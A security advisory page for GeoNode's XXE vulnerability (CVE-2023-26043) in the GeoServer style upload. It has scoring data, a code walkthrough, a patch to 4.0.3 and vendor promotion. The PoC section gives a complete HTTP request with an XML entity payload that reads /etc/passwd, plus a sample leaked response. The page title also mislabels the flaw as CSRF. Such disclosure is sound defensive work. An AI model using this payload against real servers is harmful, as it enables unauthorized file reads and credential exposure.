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MEDIUM severity

GHSA-mcmc-c59m-pqq8 geonode

MEDIUMFix: GeoNode/geonode@2fdfe91

GHSA-mcmc-c59m-pqq8 is a medium-severity (CVSS 6.5) XML External Entity (XXE) vulnerability in geonode. 1 public exploit reference exists, so weaponization risk is real. A fix is available for geonode — see the affected versions and patch details below.

GeoServer style upload functionality vulnerable to XML External Entity (XXE) injection

Also known asCVE-2023-26043PYSEC-2023-15
Published
Aug 30, 2024
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Sep 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-mcmc-c59m-pqq8.

EPSS Exploitation Probability

via FIRST.org ↗
0.8%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs56th percentile — riskier than 56% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-mcmc-c59m-pqq8 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍geonode

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.

Details

GeoNode's GeoServer has the ability to upload new styles for datasets through the dataset_style_upload view.

# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159
@login_required
def dataset_style_upload(request, layername):
    def respond(*args, **kw):
        kw['content_type'] = 'text/html'
        return json_response(*args, **kw)
    ...
    sld = request.FILES['sld'].read() # 1
    sld_name = None
    try:
        # Check SLD is valid
        ...
        sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2
    except Exception as e:
        respond(errors=f"The uploaded SLD file is not valid XML: {e}")
    name = data.get('name') or sld_name
    set_dataset_style(layer, data.get('title') or name, sld)
    return respond(
        body={
            'success': True,
            'style': data.get('title') or name, # 3
            'updated': data['update']})

dataset_style_upload gets a user-provided file (1), pass it to extract_name_from_sld to extract an element from it (2) and return the former in the response (3).

# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234
def extract_name_from_sld(gs_catalog, sld, sld_file=None):
    try:
        if sld:
            if isfile(sld):
                with open(sld, "rb") as sld_file:
                    sld = sld_file.read() # 1
            if isinstance(sld, str):
                sld = sld.encode('utf-8')
            dom = etree.XML(sld) # 2
        ...
    named_dataset = dom.findall(
        "{http://www.opengis.net/sld}NamedLayer")
    el = None
    if named_dataset and len(named_dataset) > 0:
        user_style = named_dataset[0].findall("{http://www.opengis.net/sld}UserStyle")
        if user_style and len(user_style) > 0:
            el = user_style[0].findall("{http://www.opengis.net/sld}Name") # 3
    ...
    return el[0].text # 4

extract_name_from_sld uses sld (which is a path to the provided file), reads it (1) and parses it with etree.XML in 2. Since the former uses a default XMLParser, the parsing gets done with the resolve_entities flag set to True. Therefore, dom handles the parsed XML containing the resolved entity (2), gets NamedLayer.UserStyle.Name in 3 and returns the resolved content in 4.

PoC

  1. Create a guest/non-privileged account and log in.
  2. Upload a dataset through /catalogue/#/upload/dataset whose name we will be referencing as <DATASET_NAME>.
  3. Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of /etc/passwd:
POST /gs/geonode:<DATASET_NAME>/style/upload HTTP/1.1
Host: localhost
Cookie: django_language=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE>
X-Csrftoken: <CSRF-TOKEN>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo
Content-Length: 485
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="layerid"
1
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="sld"; filename="foo.sld"
Content-Type: application/octet-stream
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY ent SYSTEM "/etc/passwd" > ]>
<foo xmlns="http://www.opengis.net/sld">
  <NamedLayer>
    <UserStyle>
    	<Name>&ent;</Name>
    </UserStyle>
  </NamedLayer>
</foo>
------WebKitFormBoundaryfoo--

Sample response:

HTTP/1.1 200 OK
Server: nginx/1.23.2
...
{"success": true, "style": "root:x:0:0:root:/root:/bin/bash...", "updated": false}

Impact

This issue may lead to authenticated Arbitrary File Read.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIgeonodeall versions4.0.3pip install --upgrade 'geonode==4.0.3'
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for geonode, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update geonode to 4.0.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mcmc-c59m-pqq8 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-mcmc-c59m-pqq8 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-mcmc-c59m-pqq8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. ### Details GeoNode's GeoServer has the ability to upload new styles for datasets through the [`dataset_style_upload` view](https://github.com/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/urls.py#L70-L72). ```py # https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159 @login_required def dataset_style_upload(request, layername): def respon
O3 Security · Impact-Aware SCA

Is GHSA-mcmc-c59m-pqq8 in your dependencies?

O3 Security finds GHSA-mcmc-c59m-pqq8 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-mcmc-c59m-pqq8: CSRF (Medium 6.5) | O3 Security